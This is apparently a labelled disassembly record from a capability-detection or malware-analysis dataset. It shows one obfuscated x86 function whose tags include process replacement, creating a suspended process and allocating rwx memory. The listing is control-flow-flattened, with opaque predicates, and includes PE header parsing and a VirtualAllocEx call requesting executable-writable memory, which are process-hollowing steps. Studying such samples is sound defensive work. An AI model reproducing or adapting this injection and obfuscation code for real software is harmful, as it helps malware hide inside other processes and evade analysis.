Function at 0x100029d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov eax, dword [0x100a4200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x17c], 0x610edb6d
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
sub eax, 0x807e2ebb
je 0x100069ae
jmp 0x10002a0c
mov eax, dword [ebp - 0x180]
sub eax, 0x82640b40
je 0x10005133
jmp 0x10002a22
mov eax, dword [ebp - 0x180]
sub eax, 0x840bf585
je 0x100080cf
jmp 0x10002a38
mov eax, dword [ebp - 0x180]
sub eax, 0x84147578
je 0x10009a8c
jmp 0x10002a4e
mov eax, dword [ebp - 0x180]
sub eax, 0x842918e7
je 0x100090a1
jmp 0x10002a64
mov eax, dword [ebp - 0x180]
sub eax, 0x858d79c2
je 0x10006484
jmp 0x10002a7a
mov eax, dword [ebp - 0x180]
sub eax, 0x864b5f35
je 0x10008be9
jmp 0x10002a90
mov eax, dword [ebp - 0x180]
sub eax, 0x8664396d
je 0x100063f7
jmp 0x10002aa6
mov eax, dword [ebp - 0x180]
sub eax, 0x86da7ea7
je 0x100083b8
jmp 0x10002abc
mov eax, dword [ebp - 0x180]
sub eax, 0x87011079
je 0x10007191
jmp 0x10002ad2
mov eax, dword [ebp - 0x180]
sub eax, 0x873f3158
je 0x10007520
jmp 0x10002ae8
mov eax, dword [ebp - 0x180]
sub eax, 0x8832d2ae
je 0x10009ce6
jmp 0x10002afe
mov eax, dword [ebp - 0x180]
sub eax, 0x89258480
je 0x1000a4f2
jmp 0x10002b14
mov eax, dword [ebp - 0x180]
sub eax, 0x89b94451
je 0x10005970
jmp 0x10002b2a
mov eax, dword [ebp - 0x180]
sub eax, 0x8b49db34
je 0x100075e6
jmp 0x10002b40
mov eax, dword [ebp - 0x180]
sub eax, 0x8b5e68ee
je 0x10007603
jmp 0x10002b56
mov eax, dword [ebp - 0x180]
sub eax, 0x8bc612fe
je 0x10008808
jmp 0x10002b6c
mov eax, dword [ebp - 0x180]
sub eax, 0x8bf59572
je 0x1000a530
jmp 0x10002b82
mov eax, dword [ebp - 0x180]
sub eax, 0x8cdb3cfe
je 0x10007fab
jmp 0x10002b98
mov eax, dword [ebp - 0x180]
sub eax, 0x8cec8fcc
je 0x10007fda
jmp 0x10002bae
mov eax, dword [ebp - 0x180]
sub eax, 0x8daa5ea8
je 0x10008530
jmp 0x10002bc4
mov eax, dword [ebp - 0x180]
sub eax, 0x8f54c53c
je 0x10009882
jmp 0x10002bda
mov eax, dword [ebp - 0x180]
sub eax, 0x8fa767b3
je 0x10005856
jmp 0x10002bf0
mov eax, dword [ebp - 0x180]
sub eax, 0x90134515
je 0x10005f89
jmp 0x10002c06
mov eax, dword [ebp - 0x180]
sub eax, 0x9035e861
je 0x1000548f
jmp 0x10002c1c
mov eax, dword [ebp - 0x180]
sub eax, 0x907f45fd
je 0x10007c3c
jmp 0x10002c32
mov eax, dword [ebp - 0x180]
sub eax, 0x90a54ffc
je 0x100098ed
jmp 0x10002c48
mov eax, dword [ebp - 0x180]
sub eax, 0x917f2780
je 0x10006ee8
jmp 0x10002c5e
mov eax, dword [ebp - 0x180]
sub eax, 0x91e69647
je 0x10006d58
jmp 0x10002c74
mov eax, dword [ebp - 0x180]
sub eax, 0x92e8c627
je 0x10005847
jmp 0x10002c8a
mov eax, dword [ebp - 0x180]
sub eax, 0x937eb6b1
je 0x100095c5
jmp 0x10002ca0
mov eax, dword [ebp - 0x180]
sub eax, 0x9410c710
je 0x10005761
jmp 0x10002cb6
mov eax, dword [ebp - 0x180]
sub eax, 0x95ac267c
je 0x1000a79b
jmp 0x10002ccc
mov eax, dword [ebp - 0x180]
sub eax, 0x962d4082
je 0x1000839b
jmp 0x10002ce2
mov eax, dword [ebp - 0x180]
sub eax, 0x977f96cd
je 0x1000634c
jmp 0x10002cf8
mov eax, dword [ebp - 0x180]
sub eax, 0x988f60fb
je 0x100068d2
jmp 0x10002d0e
mov eax, dword [ebp - 0x180]
sub eax, 0x98b6b6c4
je 0x100077a7
jmp 0x10002d24
mov eax, dword [ebp - 0x180]
sub eax, 0x98e100f5
je 0x10006f07
jmp 0x10002d3a
mov eax, dword [ebp - 0x180]
sub eax, 0x9a0581e8
je 0x10009f9b
jmp 0x10002d50
mov eax, dword [ebp - 0x180]
sub eax, 0x9a6cb8d2
je 0x10008798
jmp 0x10002d66
mov eax, dword [ebp - 0x180]
sub eax, 0x9bfca2c9
je 0x10008149
jmp 0x10002d7c
mov eax, dword [ebp - 0x180]
sub eax, 0x9d9a1e06
je 0x1000a5f8
jmp 0x10002d92
mov eax, dword [ebp - 0x180]
sub eax, 0x9dca9e12
je 0x100068c3
jmp 0x10002da8
mov eax, dword [ebp - 0x180]
sub eax, 0xa0e46270
je 0x10007f60
jmp 0x10002dbe
mov eax, dword [ebp - 0x180]
sub eax, 0xa13e7b20
je 0x100074cf
jmp 0x10002dd4
mov eax, dword [ebp - 0x180]
sub eax, 0xa13f79a3
je 0x100087f9
jmp 0x10002dea
mov eax, dword [ebp - 0x180]
sub eax, 0xa1b900c9
je 0x10006b69
jmp 0x10002e00
mov eax, dword [ebp - 0x180]
sub eax, 0xa1e0257d
je 0x1000551c
jmp 0x10002e16
mov eax, dword [ebp - 0x180]
sub eax, 0xa2af5172
je 0x10005cd6
jmp 0x10002e2c
mov eax, dword [ebp - 0x180]
sub eax, 0xa32d0507
je 0x1000a70d
jmp 0x10002e42
mov eax, dword [ebp - 0x180]
sub eax, 0xa420573a
je 0x1000521b
jmp 0x10002e58
mov eax, dword [ebp - 0x180]
sub eax, 0xa4266699
je 0x100066d7
jmp 0x10002e6e
mov eax, dword [ebp - 0x180]
sub eax, 0xa5f8bfb2
je 0x10005c76
jmp 0x10002e84
mov eax, dword [ebp - 0x180]
sub eax, 0xa68e9c83
je 0x10005bbd
jmp 0x10002e9a
mov eax, dword [ebp - 0x180]
sub eax, 0xa6b26c8b
je 0x10009d99
jmp 0x10002eb0
mov eax, dword [ebp - 0x180]
sub eax, 0xa6ccafba
je 0x10007a0e
jmp 0x10002ec6
mov eax, dword [ebp - 0x180]
sub eax, 0xa6d88809
je 0x10007d05
jmp 0x10002edc
mov eax, dword [ebp - 0x180]
sub eax, 0xa7085e41
je 0x10009de5
jmp 0x10002ef2
mov eax, dword [ebp - 0x180]
sub eax, 0xa70fc9f7
je 0x10009891
jmp 0x10002f08
mov eax, dword [ebp - 0x180]
sub eax, 0xa73319ca
je 0x1000a20c
jmp 0x10002f1e
mov eax, dword [ebp - 0x180]
sub eax, 0xa735e8b4
je 0x1000a020
jmp 0x10002f34
mov eax, dword [ebp - 0x180]
sub eax, 0xa77a2191
je 0x100090e8
jmp 0x10002f4a
mov eax, dword [ebp - 0x180]
sub eax, 0xa8c762d8
je 0x100073a0
jmp 0x10002f60
mov eax, dword [ebp - 0x180]
sub eax, 0xa983e981
je 0x10009460
jmp 0x10002f76
mov eax, dword [ebp - 0x180]
sub eax, 0xaad2c976
je 0x10009436
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa9ed1b
mov ecx, 0x254462ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
add edx, 0x670d913d
sub edx, 1
sub edx, 0x670d913d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5455aa25
mov ecx, 0x4564d2d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x1001723c]
movss dword [ebp - 0xf4], xmm0
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdf0f5294
mov ecx, 0xffda098a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0x5dd85b9a
mov ecx, 0xe9d4cd8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0x8fa767b3
mov ecx, 0xcfdaee79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x8fa767b3
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x31d384b
mov ecx, 0x63e6db13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x10017364]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x17c], 0x1af6735d
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0xc26ac825
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x1cc6d50b
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
add edx, 0xaf7405c3
sub edx, 1
sub edx, 0xaf7405c3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc64327e9
mov ecx, 0x467791f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0x44c04e74
mov ecx, 0x6cb4173c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0xbe9dfe82
jmp 0x1000a7f7
movss xmm0, dword [0x10017204]
movss dword [ebp - 0xfc], xmm0
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x27cc3ce8
mov ecx, 0x352341d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x10017340]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x17c], 0x7b6220fb
jmp 0x1000a7f7
mov dl, 1
mov eax, 0x3697f1fc
mov ecx, 0x6fcea487
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x988f60fb
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
sub edx, 0x25d369a6
sub edx, 1
add edx, 0x25d369a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x55f10abf
mov ecx, 0xb2d903fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x1001732c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x17c], 0x43895501
jmp 0x1000a7f7
movss xmm0, dword [0x10017318]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10017314]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x17c], 0xcf5c9b03
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
sub edx, 0x6bee5548
sub edx, 1
add edx, 0x6bee5548
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3210db9c
mov ecx, 0xd4b5c741
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x10017300]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x17c], 0x98e100f5
jmp 0x1000a7f7
movss xmm0, dword [0x100172fc]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100172f8]
movss dword [ebp - 0x104], xmm0
mov dl, 1
mov eax, 0x7a6d4805
mov ecx, 0xeaa2da96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44e5834
mov ecx, 0x35b3db3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc32718b5
mov ecx, 0xfbfdf3ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
mov edx, eax
add edx, 0xc808ba8f
sub edx, 1
sub edx, 0xc808ba8f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2e48a0c
mov ecx, 0x873f3158
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x100171d0]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2e48a0c
mov ecx, 0x6e513ec4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0xf0f79438
mov ecx, 0x8b5e68ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x100172c4]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x17c], 0x148c9778
jmp 0x1000a7f7
movss xmm0, dword [0x100172b0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x17c], 0x2767429e
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
sub edx, 0x42f0b17d
sub edx, 1
add edx, 0x42f0b17d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4d995cc
mov ecx, 0x25bcf345
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x89258480
mov ecx, 0xf30b827d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x10017298]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x17c], 0x6de23da9
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x1948f6af
jmp 0x1000a7f7
movss xmm0, dword [0x1001728c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10017288]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x17c], 0x8cec8fcc
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
mov edx, eax
add edx, 0x4dcd57b8
sub edx, 1
sub edx, 0x4dcd57b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8134f1
mov ecx, 0x347a9197
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0xfbcd39c8
mov ecx, 0x73a7510b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0x1167a356
mov ecx, 0x1f157f11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, 1
mov eax, 0xc94200f4
mov ecx, 0x86da7ea7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x1001726c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10017268]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x17c], 0xca505ff6
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7430ea54
mov ecx, 0x47b4528b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x100171a8]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
mov edx, eax
add edx, 0x47d34c84
sub edx, 1
sub edx, 0x47d34c84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe3f0cc5d
mov ecx, 0xa13f79a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x8bc612fe
jmp 0x1000a7f7
mov dl, 1
mov eax, 0xbdb6e1d1
mov ecx, 0x3760b69d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0xdf285b0c
jmp 0x1000a7f7
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100024a0
add esp, 4
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x120]
add eax, 0x18
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x17c], 0xa77a2191
jmp 0x1000a7f7
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x120]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0xd0173b10
mov ecx, 0xdf7ac269
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov eax, dword [ebp - 0x120]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xbc]
mov eax, 0x70deca54
mov ecx, 0x1452ab2e
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0x16c]
add esi, 0x2a510b27
add esi, eax
sub esi, 0x2a510b27
mov edx, dword [ebp - 0xb0]
mov eax, 0x4f45f7b7
mov ecx, 0xad24aa59
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0xa70fc9f7
jmp 0x1000a7f7
mov eax, dword [ebp - 0x120]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x98]
mov eax, 0x4cc61e88
mov ecx, 0xec4942a6
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dl, byte [ebp - 0x91]
mov eax, 0xcf4cfd3f
mov ecx, 0xcc30707b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov ax, word [ebp - 0x84]
movzx eax, ax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x84f6a66c
or eax, edx
or ecx, 0x84f6a66c
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x81], al
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
mov edx, ecx
sub edx, 0x3d753c89
sub edx, 1
add edx, 0x3d753c89
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xba5b2e6
mov ecx, 0xd8cd7662
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov ecx, dword [0x100a5528]
mov eax, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfda49ba7
mov ecx, 0xc87116be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov dword [ebp - 0x17c], 0xc2f86177
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
mov edx, eax
add edx, 0xf7be330f
sub edx, 1
sub edx, 0xf7be330f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabe25436
mov ecx, 0x1c58e312
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x56f4d51a
jmp 0x1000a7f7
mov eax, dword [0x100a5528]
mov ecx, dword [0x100a5524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3f5f6076
mov ecx, 0xc6b3f9c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x17c], eax
jmp 0x1000a7f7
movss xmm0, dword [0x10017218]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x17c], 0xf33e38a3
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0x907f45fd
jmp 0x1000a7f7
movss xmm0, dword [0x100171b8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x17c], 0xb8e422f5
jmp 0x1000a7f7
movss xmm0, dword [0x100171a4]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100171a0]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x17c], 0xdd982a43
jmp 0x1000a7f7
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc0]
add eax, ecx
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x120]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x120]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x120]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x17c], 0xccb2b623
jmp 0x1000a7f7
mov dword [ebp - 0x17c], 0xec3dcc9f
jmp 0x1000a7f7
jmp 0x100029f0